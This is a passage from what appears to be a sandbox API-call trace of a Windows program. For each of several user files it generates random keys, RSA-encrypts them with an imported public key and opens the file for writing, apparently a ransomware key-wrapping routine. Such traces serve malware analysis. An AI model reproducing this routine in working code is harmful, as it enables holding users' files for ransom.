pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0175.860] CryptEncrypt (in: hKey=0x3654ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5120000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5120000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0175.860] GetLastError () returned 0x0 [0175.860] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.860] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0175.862] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3654998) returned 1 [0175.862] CryptGetKeyParam (in: hKey=0x3654998, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0175.862] CryptEncrypt (in: hKey=0x3654998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5130000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5130000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0175.862] GetLastError () returned 0x0 [0175.862] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.862] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.870] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.872] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.873] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.873] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.873] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.874] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.874] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.874] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.874] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0175.876] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654918) returned 1 [0175.876] CryptGetKeyParam (in: hKey=0x3654918, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.876] CryptEncrypt (in: hKey=0x3654918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5140000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5140000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.877] GetLastError () returned 0x0 [0175.877] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.877] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0175.878] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654b98) returned 1 [0175.878] CryptGetKeyParam (in: hKey=0x3654b98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.878] CryptEncrypt (in: hKey=0x3654b98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5150000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5150000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.879] GetLastError () returned 0x0 [0175.879] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.879] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.881] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0175.882] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.883] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.883] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.883] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.883] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.884] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.884] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.884] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.885] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.886] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654958) returned 1 [0175.887] CryptGetKeyParam (in: hKey=0x3654958, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.887] CryptEncrypt (in: hKey=0x3654958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5160000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5160000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.887] GetLastError () returned 0x0 [0175.887] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.887] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0175.889] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654bd8) returned 1 [0175.889] CryptGetKeyParam (in: hKey=0x3654bd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.889] CryptEncrypt (in: hKey=0x3654bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5170000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5170000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.889] GetLastError () returned 0x0 [0175.889] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.889] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002A.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002a.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.889] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0175.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.891] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.891] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.891] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.891] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0175.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.893] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.893] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.893] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.895] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654cd8) returned 1 [0175.895] CryptGetKeyParam (in: hKey=0x3654cd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.895] CryptEncrypt (in: hKey=0x3654cd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5180000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5180000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.895] GetLastError () returned 0x0 [0175.895] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.895] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.896] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654a98) returned 1 [0175.897] CryptGetKeyParam (in: hKey=0x3654a98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.897] CryptEncrypt (in: hKey=0x3654a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5190000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5190000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.897] GetLastError () returned 0x0 [0175.897] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.897] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V010002B.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v010002b.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.897] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0175.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.898] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.899] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.899] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.899] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.900] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.900] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.900] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0175.902] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654658) returned 1 [0175.902] CryptGetKeyParam (in: hKey=0x3654658, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.902] CryptEncrypt (in: hKey=0x3654658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x51a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x51a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.902] GetLastError () returned 0x0 [0175.902] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.902] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0175.904] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654d18) returned 1 [0175.904] CryptGetKeyParam (in: hKey=0x3654d18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.904] CryptEncrypt (in: hKey=0x3654d18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x51b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x51b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.904] GetLastError () returned 0x0 [0175.904] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.904] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.905] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0175.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.906] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.906] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0175.906] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.906] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0175.907] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.908] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.908] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0175.908] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.908] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0175.910] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3654d58) returned 1 [0175.910] CryptGetKeyParam (in: hKey=0x3654d58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.910] CryptEncrypt (in: hKey=0x3654d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x51c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x51c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0175.910] GetLastError () returned 0x0 [0175.910] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.910] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0175.912] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x36549d8) returned 1 [0175.912] CryptGetKeyParam (in: hKey=0x36549d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0175.912] CryptEncrypt (in: hKey=0x36549d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x51d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x51d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0175.912] GetLastError () returned 0x0 [0175.912] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.912] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.928] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0175.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.929] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.929] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0175.929] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.929] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0175.930] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.931] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.931] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0175.931] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.931] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0175.933] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36547d8) returned 1 [0175.933] CryptGetKeyParam (in: hKey=0x36547d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0175.933] CryptEncrypt (in: hKey=0x36547d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x51e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x51e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0175.933] GetLastError () returned 0x0 [0175.933] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.933] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0175.935] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3654718) returned 1 [0175.936] CryptGetKeyParam (in: hKey=0x3654718, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0175.936] CryptEncrypt (in: hKey=0x3654718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x51f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x51f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0175.936] GetLastError () returned 0x0 [0175.936] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.936] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.998] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.000] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.000] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.002] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.002] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.002] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.004] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654c58) returned 1 [0176.004] CryptGetKeyParam (in: hKey=0x3654c58, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.004] CryptEncrypt (in: hKey=0x3654c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.004] GetLastError () returned 0x0 [0176.004] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.004] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.006] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654698) returned 1 [0176.006] CryptGetKeyParam (in: hKey=0x3654698, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.006] CryptEncrypt (in: hKey=0x3654698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 